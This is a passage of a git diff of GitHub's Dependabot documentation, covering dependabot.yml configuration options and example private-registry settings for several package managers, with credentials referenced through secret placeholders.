version updates. -* {% octicon "shield-check" aria-hidden="true" %} All dependencies defined in lock files with vulnerable dependencies are updated by security updates. - -When `ignore` is used {% data variables.product.prodname_dependabot %} uses the following process: - -1. Check for all explicitly **allowed** dependencies. -1. Then filter out any **ignored** dependencies or versions. - - If a dependency is matched by an `allow` and an `ignore` statement, then it is **ignored**. - -| Parameters | Purpose | -|------------|---------| -| `dependency-name` | Ignore updates for dependencies with matching names, optionally using `*` to match zero or more characters. | -| `versions` | Ignore specific versions or ranges of versions. | -| `update-types` | Ignore updates to one or more semantic versioning levels. Supported values: `version-update:semver-minor`, `version-update:semver-patch`, and `version-update:semver-major`. | - -### `dependency-name` (`ignore`) - -For most package managers, you should define a value that will match the dependency name specified in the lock or manifest file. A few systems have more complex requirements. - -| Package manager | Format required | Example | -|-----------------|-----------------|---------| -| Gradle and Maven | `groupId:artifactId` | `org.kohsuke:github-api` | -| Docker for image tags |The full name of the repository | For an image tag of `<account ID>.dkr.ecr.us-west-2.amazonaws.com/base/foo/bar/ruby:3.1.0-focal-jemalloc`, use `base/foo/bar/ruby`.| - -### `versions` (`ignore`) - -Use to ignore specific versions or ranges of versions. If you want to define a range, use the standard pattern for the package manager. For example: - -* npm: use `^1.0.0` <!-- markdownlint-disable-line GHD034 --> -* Bundler: use `~> 2.0` -* Docker: use Ruby version syntax -* NuGet: use `7.*` -* Maven: use `[1.4,)` - -For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#ignoring-specific-versions-or-ranges-of-versions). - -### `update-types` (`ignore`) - -Specify which semantic versions (SemVer) to ignore. SemVer is an accepted standard for defining versions of software packages, in the form `x.y.z`. {% data variables.product.prodname_dependabot %} assumes that versions in this form are always `major.minor.patch`. - -* Use `patch` to include patch releases. -* Use `minor` to include minor releases. -* Use `major` to include major releases. - -## `insecure-external-code-execution` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Supported by: `bundler`, `mix`, and `pip`. - -Allow {% data variables.product.prodname_dependabot %} to execute external code in the manifest during updates. For examples, see [Allowing external code execution](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#allowing-external-code-execution). - -{% data variables.product.prodname_dependabot %} default behavior: - -* When you give {% data variables.product.prodname_dependabot %} access to one or more registries, external code execution is automatically disabled to protect your code from compromised packages. -* Version updates may fail without the ability to execute code. - -When you allow `insecure-external-code-execution`: - -* {% data variables.product.prodname_dependabot %} will execute code in the manifest as part of the version update process. -* The code has access to only the package managers in the registries associated with that `updates`setting. There is no access allowed to any of the registries defined in the top level `registries` configuration. -* This should enable the update to succeed but also could allow a compromised package to steal credentials or gain access to configured registries. - -Supported value: `allow`. - -## `labels` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Specify your own labels for all pull requests raised for a package manager. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* All pull requests have a `dependencies` label. -* If you define more than one package manager, an additional label for the ecosystem or language is added to each pull request. For example: `java` for Gradle updates and `submodules` for git submodule updates. -* {% data variables.product.prodname_dependabot %} creates these default labels automatically, as necessary in your repository. - -When `labels` is defined: - -* The labels specified are used instead of the default labels. -* If any of these labels is not defined in the repository, it is ignored. -* You can disable all labels, including the default labels, using `labels: [ ]`. - -{% data reusables.dependabot.option-affects-security-updates %} - -## `milestone` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Associate all pull requests raised for a package manager with a milestone. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* No milestones are used. - -When `milestone` is defined: - -* All pull requests for the package manager are added to the milestone. - -Supported value: the numeric identifier of a milestone. - ->[!TIP] ->If you view a milestone, the final part of the page URL, after `milestone`, is the identifier. For example: `https://github.com/<org>/<repo>/milestone/3`, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/viewing-your-milestones-progress). - -## `open-pull-requests-limit` {% octicon "versions" aria-label="Version updates only" height="24" %} - -Change the limit on the maximum number of pull requests for version updates open at any time. - -{% data variables.product.prodname_dependabot %} default behavior: - -* If five pull requests with version updates are open, no further pull requests are raised until some of those open requests are merged or closed. -* Security updates have a separate, internal limit of ten open pull requests which cannot be changed. - -When `open-pull-requests-limit` is defined: - -* {% data variables.product.prodname_dependabot %} opens pull requests up to the defined integer value. -* You can temporarily disable version updates for a package manager by setting this option to zero, see [Disabling {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#disabling-dependabot-version-updates). - -## `package-ecosystem` {% octicon "versions" aria-label="Version updates only" height="24" %} - -<!--Note: When making updates to this section, please make sure any changes are also reflected in `data/reusables/dependabot/supported-package-managers.md`.--> - -**Required option.** Define one `package-ecosystem` element for each package manager that you want {% data variables.product.prodname_dependabot %} to monitor for new versions. The repository must also contain a dependency manifest or lock file for each package manager, see [Example `dependabot.yml` file](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#example-dependabotyml-file). - -Package manager | YAML value | Supported versions | ----------------|------------------|:------------------:| -| {% ifversion dependabot-bun-support %} | -| Bun | `bun` | >=v1.1.39 | -| {% endif %} | -| Bundler | `bundler` | {% ifversion ghes < 3.15 %}v1, {% endif %}v2 | -| Cargo | `cargo` | v1 | -| Composer | `composer` | {% ifversion dependabot-updates-composerv1-closing-down %}v2{% else %}v1, v2{% endif %} | -| {% ifversion dependabot-version-updates-devcontainer-support %} | -| Dev containers | `devcontainers` | Not applicable | -| {% endif %} | -| Docker | `docker` | v1 | -| {% ifversion dependabot-docker-compose-support %} | -| Docker Compose | `docker-compose` | v2, v3 | -| {% endif %} | -| {% ifversion dependabot-dotnet-sdk %} | -| .NET SDK | `dotnet-sdk` | >=.NET Core 3.1 | -| {% endif %} | -| Hex | `mix` | v1 | -| elm-package | `elm` | v0.19 | -| git submodule | `gitsubmodule` | Not applicable | -| {% data variables.product.prodname_actions %} | `github-actions` | Not applicable | -| Go modules | `gomod` | v1 | -| Gradle | `gradle` | Not applicable | -| Maven | `maven` | Not applicable | -| npm | `npm` | v7, v8, v9 | -| NuGet | `nuget` | {% ifversion fpt or ghec or ghes > 3.14 %}<=6.12.0{% elsif ghes = 3.14 or ghes = 3.13 %}<= 6.8.0{% elsif ghes = 3.12 %}<= 6.7.0{% else %}<= 4.8{% endif %} | -| pip| `pip` | v21.1.2 | -| pip-compile | `pip` | 6.1.0 | -| pipenv | `pip` | <= 2021-05-29 | -| pnpm | `npm` | v7, v8 <br>v9 (version updates only) | -| poetry | `pip` | v1 | -| pub | `pub` | v2 | -| Swift | `swift` | v5 | -| Terraform | `terraform` | >= 0.13, <= 1.10.x | -| yarn | `npm` | v1, v2, v3 | - -## `pull-request-branch-name.separator` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Specify a separator to use when generating branch names. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Generate branch names of the form: `dependabot/PACKAGE_MANAGER/DEPENDENCY` - -When `pull-request-branch-name.separator` is defined: - -* Use the specified character in place of `/`. - -Supported values: `"-"`, `_`, `/` - -> [!TIP] -> The hyphen symbol must be escaped so it is not interpreted as starting an empty YAML list. - -## `rebase-strategy` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Disable automatic rebasing of pull requests raised by {% data variables.product.prodname_dependabot %}. - -{% data variables.product.prodname_dependabot %} default behavior is to rebase open pull requests when {% data variables.product.prodname_dependabot %} detects any changes to a version or security update pull request. {% data variables.product.prodname_dependabot %} checks for changes when: - -* Your schedule runs to check for version updates. -* You reopen a closed {% data variables.product.prodname_dependabot %} pull request. -* You change the value of `target-branch` in the {% data variables.product.prodname_dependabot %} configuration file, see [`target-branch`](#target-branch-). -* A {% data variables.product.prodname_dependabot %} pull request is in conflict after a recent push to the target branch. - -When `rebase-strategy` is set to `disabled`, {% data variables.product.prodname_dependabot %} stops rebasing pull requests. - -> [!NOTE] -> Pull requests that were open **before** you disable rebasing will continue to be rebased until 30 days after they were opened. This affects all pull requests that have conflicts with the target branch and all pull requests for version updates. - -## `registries` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Configure access to private package registries to allow {% data variables.product.prodname_dependabot %} to update a wider range of dependencies, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot) and [AUTOTITLE](/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot). - -There are 2 locations in the `dependabot.yml` file where you can use the `registries` key: - -1. At the top level, where you define the private registries you want to use and their access information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). -1. Within the `updates` blocks, where you can specify which private registries each package manager should use. - -{% data variables.product.prodname_dependabot %} default behavior is to raise pull requests only to update dependencies stored in publicly accessible registries. - -When the {% data variables.product.prodname_dependabot %} configuration file has a top-level `registries` section, defining access to one or more private registries, you can configure each `package-ecosystem` to use one or more of these private registries. - -When `registries` is defined for a package manager: - -* Each private registry specified for a package manager is checked for version and security updates. -* {% data variables.product.prodname_dependabot %} uses the access details defined in the top-level `registries` section. - -Supported values: `REGISTRY_NAME` or `"*"` - -## `reviewers` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Specify individual reviewers, or teams of reviewers, for all pull requests raised for a package manager. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Pull requests are created without any reviewers assigned. - -When `reviewers` is defined: - -* {% octicon "versions" aria-hidden="true" %} All pull requests for version updates are created with the chosen reviewers. -* {% octicon "shield-check" aria-hidden="true" %} All pull requests for security updates are created with the chosen reviewers, unless `target-branch` defines updates to a non-default branch. - -Reviewers must have at least read access to the repository. - -## `schedule` {% octicon "versions" aria-label="Version updates only" height="24" %} - -**Required option.** Define how often to check for new versions for each package manager you configure using the `interval` parameter. Optionally, for daily and weekly intervals, you can customize when {% data variables.product.prodname_dependabot %} checks for updates. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/optimizing-pr-creation-version-updates). - -| Parameters | Purpose | -|------------|---------| -| `interval` | **Required.** Defines the frequency for {% data variables.product.prodname_dependabot %}. | -| `day` | Specify the day to run for a **weekly** interval. | -| `time` | Specify the time to run. | -| `timezone` | Specify the timezone of the `time` value. | - -### `interval` - -Supported values: `daily`, `weekly`, or `monthly` - -Each package manager **must** define a schedule interval. - -* Use `daily` to run on every weekday, Monday to Friday. -* Use `weekly` to run once a week, by default on Monday. -* Use `monthly` to run on the first day of each month. - -By default, {% data variables.product.prodname_dependabot %} randomly assigns a time to apply all the updates in the configuration file. You can use the `time` and `timezone` parameters to set a specific runtime for all intervals. - -### `day` - -Supported values: `monday`, `tuesday`, `wednesday`, `thursday`, `friday`, `saturday`, or `sunday` - -Optionally, run **weekly** updates for a package manager on a specific day of the week. - -### `time` - -Format: `hh:mm` - -Optionally, run all updates for a package manager at a specific time of day. By default, times are interpreted as UTC. - -### `timezone` - -Specify a time zone for the `time` value. - -The time zone identifier must match a timezone in the database maintained by [iana](https://www.iana.org/time-zones), see [List of tz database time zones](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). - -## `target-branch` {% octicon "versions" aria-label="Version updates only" height="24" %} - -Define a specific branch to check for version updates and to target pull requests for version updates against. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/customizing-dependabot-prs). - -{% data variables.product.prodname_dependabot %} default behavior: - -* {% data variables.product.prodname_dependabot %} uses the default branch for the repository, see [About the default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -When `target-branch` is defined: - -* Only manifest files on the target branch are checked for version updates. -* All pull requests for version updates are opened targetting the specified branch. -* Options defined for this `package-ecosystem` no longer apply to security updates because security updates always use the default branch for the repository. - -## `vendor` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Supported by: `bundler` and `gomod` only. - -Tell {% data variables.product.prodname_dependabot %} to maintain your vendored dependencies as well as the dependencies defined by manifest files. A dependency is described as "vendored" or "cached" when you store the code within your repository, see [`bundle cache` documentation](https://bundler.io/man/bundle-cache.1.html) and [`go mod vendor` documentation](https://golang.org/ref/mod#go-mod-vendor). - -For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#updating-vendored-dependencies). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Maintain only dependencies recorded in the manifest and lock files identified for Bundler. -* Raise security and version update pull requests that update the version numbers recorded in the manifest and lock files. -* For Go modules, any vendored dependencies are automatically identified and maintained as if `vendor` was enabled. - -When `vendor` is enabled: - -* {% data variables.product.prodname_dependabot %} also maintains dependencies for Bundler that are stored in the `_vendor/cache_` directory in the repository. -* Pull requests will sometimes contain updates to a dependency that is stored in the repository. - -Supported values: `true` or `false` - -## `versioning-strategy` {% octicon "versions" aria-label="Version updates" height="24" %} {% octicon "shield-check" aria-label="Security updates" height="24" %} - -Supported by: `bundler`, `cargo`, `composer`, `mix`, `npm`, `pip`, `pub` - -Define how {% data variables.product.prodname_dependabot %} should edit manifest files. For examples, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#defining-a-versioning-strategy). - -{% data variables.product.prodname_dependabot %} default behavior: - -* Try to differentiate between app and library dependencies. -* For apps, always increase the minimum version requirement to match the new version. The `increase` strategy. -* For libraries, widen the allowed version requirements to include both the new and old versions, when possible. The `widen` strategy. - -When `versioning-strategy` is defined, {% data variables.product.prodname_dependabot %} uses the strategy specified. - -| Value | Behavior | -|--------|--------| -| `auto` | Default behavior.| -| `increase`| Always increase the minimum version requirement to match the new version. If a range already exists, typically this only increases the lower bound. | -| `increase-if-necessary` | Leave the constraint if the original constraint allows the new version, otherwise, bump the constraint. | -| `lockfile-only` | Only create pull requests to update lockfiles. Ignore any new versions that would require package manifest changes. | -| `widen`| Widen the allowed version requirements to include both the new and old versions, when possible. Typically, this only increases the maximum allowed version requirement. | - -For example, if the current version is `1.0.0` and the current constraint is `^1.0.0` the different strategies would raise the following updates: - -New version `1.2.0` - -* `increase`: new constraint `^1.2.0` -* `increase-if-necessary`: new constraint `^1.0.0` -* `widen`: new constraint `^1.0.0` - -New version `2.0.0` - -* `increase`: new constraint `^2.0.0` -* `increase-if-necessary`: new constraint `^2.0.0 ` -* `widen`: new constraint `>=1.0.0 <3.0.0` - -> [!NOTE] -> If the package manager you use does not yet support configuring the `versioning-strategy` parameter, or does not support a value you need. The strategy code is open source, so if you'd like a particular ecosystem to support a new strategy, you are always welcome to submit a pull request in https://github.com/dependabot/dependabot-core/. - -{% ifversion dependabot-updates-supported-versioning-tags %} - -### Versioning tags - -* Represent stages in the software release lifecycle, such as alpha, beta, and stable versions. -* Allow publishers to distribute their packages more effectively. -* Indicate the stability of a version and communicate what users should expect in terms of features and stability. - -{% data reusables.dependabot.dependabot-updates-supported-versioning-tags %} - -#### Versioning tag glossary - -* **`alpha`:** Early version, may be unstable and have incomplete features. -* **`beta`:** More stable than alpha but may still have bugs. -* **`canary`:** Regularly updated pre-release version for testing. -* **`dev`:** Represents development versions. -* **`experimental`:** Versions with experimental features. -* **`latest`:** The latest stable release. -* **`legacy`:** Older or deprecated versions. -* **`next`:** Upcoming release version. -* **`nightly`:** Versions built nightly; often includes the latest changes. -* **`rc`:** Release candidate, close to stable release. -* **`release`:** The official release version. -* **`stable`:** The most reliable, production-ready version. - -{% endif %} - -## Top-level `registries` key - -Specify authentication details that {% data variables.product.prodname_dependabot %} can use to access private package registries, including registries hosted by GitLab or Bitbucket. - -{% ifversion ghes %} - -> [!NOTE] -> Private registries behind firewalls on private networks are supported for the following ecosystems: -> -> * Bundler{% ifversion dependabot-updates-cargo-private-registry-support %} -> * Cargo{% endif %} -> * Docker -> * Gradle -> * Maven -> * Npm -> * NuGet{% ifversion dependabot-updates-pub-private-registry %} -> * Pub{% endif %} -> * Python -> * Yarn - -{% endif %} - -The value of the `registries` key is an associative array, each element of which consists of a key that identifies a particular registry and a value which is an associative array that specifies the settings required to access that registry. The following `dependabot.yml` file configures a registry identified as `dockerhub` in the `registries` section of the file and then references this in the `updates` section of the file. - -{% raw %} - -```yaml copy -# Minimal settings to update dependencies stored in one private registry - -version: 2 -registries: - dockerhub: # Define access for a private registry - type: docker-registry - url: registry.hub.docker.com - username: octocat - password: ${{secrets.DOCKERHUB_PASSWORD}} -updates: - - package-ecosystem: "docker" - directory: "/docker-registry/dockerhub" - registries: - - dockerhub # Allow version updates for dependencies in this registry - schedule: - interval: "monthly" -``` - -{% endraw %} - -{% data reusables.dependabot.dependabot-updates-registries-options %} - -{% data reusables.dependabot.advanced-private-registry-config-link %} - -### `type` and authentication details - -The parameters used to provide authentication details for access to a private registry vary according to the registry `type`. - -| Registry `type` | Required authentication parameters | -|--|--| -| {% ifversion dependabot-updates-cargo-private-registry-support %} | -| `cargo-registry` | `token` | -| {% endif %} | -| `composer-repository` | `username` and `password` | -| `docker-registry` | `username` and `password` | -| `git` | `username` and `password` | -| `hex-organization` | `organization` and `key` | -| `hex-repository` | `repo` and `auth-key` optionally with the corresponding `public-key-fingerprint` | -| `maven-repository` | `username` and `password` | -| `npm-registry` | `username` and `password`<br>or `token` | -| `nuget-feed` | `username` and `password`<br>or `token` | -| `pub-registry` | `token` | -| `python-index` | `username` and `password`<br>or `token` | -| `rubygems-server` | `username` and `password`<br>or `token` | -| `terraform-registry` | `token` | - -All sensitive data used for authentication should be stored securely and referenced from that secure location, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot). - -> [!TIP] -> {% data reusables.dependabot.password-definition %} - -### `url` and `replaces-base` - -The `url` parameter defines where to access a registry. When the optional `replaces-base` parameter is enabled (`true`), {% data variables.product.prodname_dependabot %} resolves dependencies using the value of `url` rather than the base URL of that specific ecosystem. diff --git a/content/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot.md b/content/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot.md deleted file mode 100644 index 46625fabd15b..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/guidance-for-the-configuration-of-private-registries-for-dependabot.md +++ /dev/null @@ -1,764 +0,0 @@ ---- -title: Guidance for the configuration of private registries for Dependabot -intro: 'This article contains detailed information about configuring private registries, as well as commands you can run from the command line to configure your package managers locally.' -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Secret store - - Repositories - - Dependencies -shortTitle: Guidance for configuring private registries ---- - -## About configuring private registries for {% data variables.product.prodname_dependabot %} - -This article contains recommendations and advice to help you configure {% data variables.product.prodname_dependabot %} to access your private registry, along with: - -* Detailed snippets of the `dependabot.yml` configuration file for each package manager. -* Important limitations or caveats. -* Steps explaining how to test that the configuration is working. -* Extra configuration options, wherever appropriate (for example, npm has a configuration file that needs to be set). -* Advice about configuring registry hosts. - -You'll find detailed guidance for the setup of the following package managers: - -{% ifversion dependabot-bun-support %} -* [Bun](#bun){% endif %} -* [Bundler](#bundler){% ifversion dependabot-updates-cargo-private-registry-support %} -* [Cargo](#cargo){% endif %} -* [Docker](#docker){% ifversion dependabot-docker-compose-support %} -* [Docker Compose](#docker-compose){% endif %} -* [Gradle](#gradle) -* [Maven](#maven) -* [npm](#npm) -* [NuGet](#nuget){% ifversion dependabot-updates-pub-private-registry %} -* [pub](#pub){% endif %} -* [Python](#python) -* [Yarn](#yarn) - -You'll also find recommendations for the setup of the following registry hosts: - -* [Artifactory](#artifactory) -* [Azure Artifacts](#azure-artifacts) -* [Cloudsmith](#cloudsmith) -* [{% data variables.product.prodname_registry %} registry](#github-packages-registry) -* [Nexus](#nexus) -* [ProGet](#proget) - -{% data reusables.dependabot.dependabot-on-actions-self-hosted-link %} - -## Configuring package managers - -{% ifversion dependabot-bun-support %} - -### Bun - -Bun adheres to the same configuration guidelines as npm. Note that the `.npmrc` file is not required, but can be provided in order to customize the configuration. For detailed steps, see [npm](#npm). - -{% endif %} - -### Bundler - -Supported by Artifactory, Artifacts, Cloudsmith, {% data variables.product.prodname_registry %} registry, Nexus, and ProGet. - -You can authenticate with either a username and password, or a token. For more information, see `rubygems-server` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#rubygems-server). - -Snippet of a `dependabot.yml` file using a username and password. - -{% raw %} - -```yaml copy -registries: - ruby-example: - type: rubygems-server - url: https://rubygems.example.com - username: octocat@example.com - password: ${{secrets.MY_RUBYGEMS_PASSWORD}} -``` - -{% endraw %} - -The snippet of `dependabot.yml` file below uses a token. {% data reusables.dependabot.token-is-github-pat %} - -{% raw %} - -```yaml copy -registries: - ruby-github: - type: rubygems-server - url: https://rubygems.pkg.github.com/octocat/github_api - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} -``` - -{% endraw %} - -#### Notes - -{% data reusables.dependabot.access-private-dependencies-link %} - -{% ifversion dependabot-updates-cargo-private-registry-support %} - -### Cargo - -Cargo supports username, password and token-based authentication. For more information, see `cargo-registry` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#cargo-registry). - -The snippet below shows a `dependabot.yml` file configuration that uses a token. - -{% data reusables.dependabot.cargo-private-registry-config-example %} - -{% endif %} - -### Docker - -Docker supports using a username and password for registries. For more information, see `docker-registry` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#docker-registry). - -Snippet of `dependabot.yml` file using a username and password. - -{% raw %} - -```yaml copy -registries: - dockerhub: - type: docker-registry - url: https://registry.hub.docker.com - username: octocat - password: ${{secrets.MY_DOCKERHUB_PASSWORD}} -``` - -{% endraw %} - -`docker-registry` can also be used to pull from private Amazon ECR using static AWS credentials. - -{% raw %} - -```yaml copy -registries: - ecr-docker: - type: docker-registry - url: https://1234567890.dkr.ecr.us-east-1.amazonaws.com - username: ${{secrets.ECR_AWS_ACCESS_KEY_ID}} - password: ${{secrets.ECR_AWS_SECRET_ACCESS_KEY}} -``` - -{% endraw %} - -#### Notes - -{% data variables.product.prodname_dependabot %} works with any container registries that implement the Open Container Initiative (OCI) Distribution Specification. For more information, see [https://github.com/opencontainers/distribution-spec/blob/main/spec.md](https://github.com/opencontainers/distribution-spec/blob/main/spec.md). - -{% data variables.product.prodname_dependabot %} supports authentication to private registries via a central token service or HTTP Basic Auth. For more information, see [Token Authentication Specification](https://docs.docker.com/registry/spec/auth/token/) in the Docker documentation and [Basic access authentication](https://en.wikipedia.org/wiki/Basic_access_authentication) on Wikipedia. - -#### Limitations and workarounds - -* Image names may not always be detected in Containerfiles, Helm files, or yaml files. -* Dockerfiles may only receive a version update to the first `FROM` directive. -* Dockerfiles do not receive updates to images specified with the `ARG` directive. There is a workaround available for the `COPY` directive. For more information, see [{% data variables.product.prodname_dependabot %} ignores image references in COPY Dockerfile statement](https://github.com/dependabot/dependabot-core/issues/5103#issuecomment-1692420920) in the `dependabot/dependabot-core` repository. -* {% data variables.product.prodname_dependabot %} doesn't support multi-stage Docker builds. For more information, see [Support for Docker multi-stage builds](https://github.com/dependabot/dependabot-core/issues/7640) in the `dependabot/dependabot-core` repository. - -{% ifversion dependabot-docker-compose-support %} - -### Docker Compose - -Docker Compose adheres to the same configuration guidelines as Docker. For more information, see [Docker](#docker). - -{% endif %} - -### Gradle - -{% data variables.product.prodname_dependabot %} doesn't run Gradle but supports updates to certain Gradle files. For more information, see "Gradle" in [AUTOTITLE](/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories#gradle). - -Gradle supports the `maven-repository` registry type. For more information, see `maven-repository` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#maven-repository). - -The `maven-repository` type supports username and password. {% data reusables.dependabot.password-definition %} - -{% raw %} - -```yaml copy -registries: - gradle-artifactory: - type: maven-repository - url: https://acme.jfrog.io/artifactory/my-gradle-registry - username: octocat - password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} -updates: - - package-ecosystem: "gradle" - directory: "/" - registries: - - gradle-artifactory - schedule: - interval: "monthly" -``` - -{% endraw %} - -#### Notes - -{% data reusables.dependabot.dependency-submission-api-build-time-dependencies %} - -### Maven - -Maven supports username and password authentication. For more information, see `maven-repository` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#maven-repository). - -{% raw %} - -```yaml copy -registries: - maven-artifactory: - type: maven-repository - url: https://acme.jfrog.io/artifactory/my-maven-registry - username: octocat - password: ${{secrets.MY_ARTIFACTORY_PASSWORD}} -``` - -{% endraw %} - -{% data reusables.dependabot.password-definition %} - -{% raw %} - -```yaml copy -version: 2 -registries: - maven-github: - type: maven-repository - url: https://maven.pkg.github.com/octocat - username: octocat - password: ${{secrets.OCTOCAT_GITHUB_PAT}} -updates: - - package-ecosystem: "maven" - directory: "/" - registries: - - maven-github - schedule: - interval: "monthly" -``` - -{% endraw %} - -#### Notes - -{% data reusables.dependabot.dependency-submission-api-build-time-dependencies %} - -### npm - -You can define the configuration in the `dependabot.yml` file using the `npm-registry` type, or configure {% data variables.product.prodname_dependabot %} to send all registry requests through a specified base URL. - -#### Using the `npm-registry` type in the configuration file - -You can define the private registry configuration in a `dependabot.yml` file using the `npm-registry` type. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -The snippet of a `dependabot.yml` file below uses a token. {% data reusables.dependabot.token-is-github-pat %} - -{% raw %} - -```yaml copy -registries: - npm-github: - type: npm-registry - url: https://npm.pkg.github.com - token: ${{secrets.MY_GITHUB_PERSONAL_TOKEN}} -``` - -{% endraw %} - -The npm ecosystem requires a `.npmrc` file with the private registry URL to be checked into the repository. - -Example of the content of a `.npmrc` file: - -{% raw %} - -```text -registry=https://<private-registry-url> -``` - -{% endraw %} - -Alternatively you can add the private registry URL to an existing `.npmrc` file using the following command. - -{% raw %} - -```shell -npm config set registry <url> -``` - -{% endraw %} - -For more information, see [registry](https://docs.npmjs.com/cli/v9/using-npm/config?v=true#registry) in the npm documentation. - -You can also scope the configuration to only a single dependency or organization, in which case the token will only be valid for the organization, and different tokens can be used for different organizations for the same repository. - -{% raw %} - -```shell -npm config set @<org-name>:registry <url> -``` - -{% endraw %} - -This would result in a '.npmrc' with the registry: - -{% raw %} - -```text -@<org-name>:registry=https://<private-registry-url> -``` - -{% endraw %} - -npm can be configured to use the private registry's URL in lockfiles with `replace-registry-host`. For more information, see [replace-registry-host](https://docs.npmjs.com/cli/v9/using-npm/config?v=true#replace-registry-host) in the npm documentation. - -{% raw %} - -```shell -npm config set replace-registry-host "never" -``` - -{% endraw %} - -If you use `replace-registry-host`, you must locally run `npm install` in order to regenerate the lockfile to use the private registry URL. {% data variables.product.prodname_dependabot %} will use the same URL when providing updates. - -Once the registry is configured, you can also run `npm login` to verify that your configuration is correct and valid. The lockfile can also be regenerated to use the new private registry by running `npm install` again. - -You need to ensure that the `.npmrc` file is checked into the same directory as the project's `package.json` and that the file doesn't include any environment variables or secrets. -If you use a monorepo, the `.npmrc` file should live in the project's root directory. - -#### Configuring {% data variables.product.prodname_dependabot %} to send registry requests through a specified base URL - -You can configure {% data variables.product.prodname_dependabot %} to send all registry requests through a specified base URL. In order for {% data variables.product.prodname_dependabot %} to access a public dependency, the registry must either have a cloned copy of the dependency with the requested version, or allow traffic to fetch from a public registry if the dependency is not available. - -If there is no global registry defined in a `.npmrc` file, you can set `replaces-base` to `true` in the `dependabot.yml` file. For more information, see "`replaces-base`" in [Top-level `registries` key](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#top-level-registries-key). - -#### Notes - -{% data reusables.dependabot.access-private-dependencies-link %} - -For scoped dependencies (`@my-org/my-dep`), {% data variables.product.prodname_dependabot %} requires that the private registry is defined in the project's `.npmrc` file. To define private registries for individual scopes, use `@myscope:registry=https://private_registry_url`. - -Registries should be configured using the `https` protocol. - -### NuGet - -Supported by Artifactory, Artifacts, Cloudsmith, {% data variables.product.prodname_registry %} registry, Nexus, and ProGet. - -The `nuget-feed` type supports username and password, or token. For more information, see `nuget-feed` in [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#nuget-feed). - -{% raw %} - -```yaml copy -registries: - nuget-example: - type: nuget-feed - url: https://nuget.example.com/v3/index.json - username: octocat@example.com - password: ${{secrets.MY_NUGET_PASSWORD}} -``` - -{% endraw %} - -{% raw %} - -```yaml copy -registries: - nuget-azure-devops: - type: nuget-feed - url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json - username: octocat@example.com - password: ${{secrets.MY_AZURE_DEVOPS_TOKEN}} -``` - -{% endraw %} - -#### Notes - -You can also use a token in your `dependabot.yml` file. {% data reusables.dependabot.token-is-github-pat %} - -{% raw %} - -```yaml copy -registries: - nuget-azure-devops: - type: nuget-feed - url: https://pkgs.dev.azure.com/.../_packaging/My_Feed/nuget/v3/index.json - token: 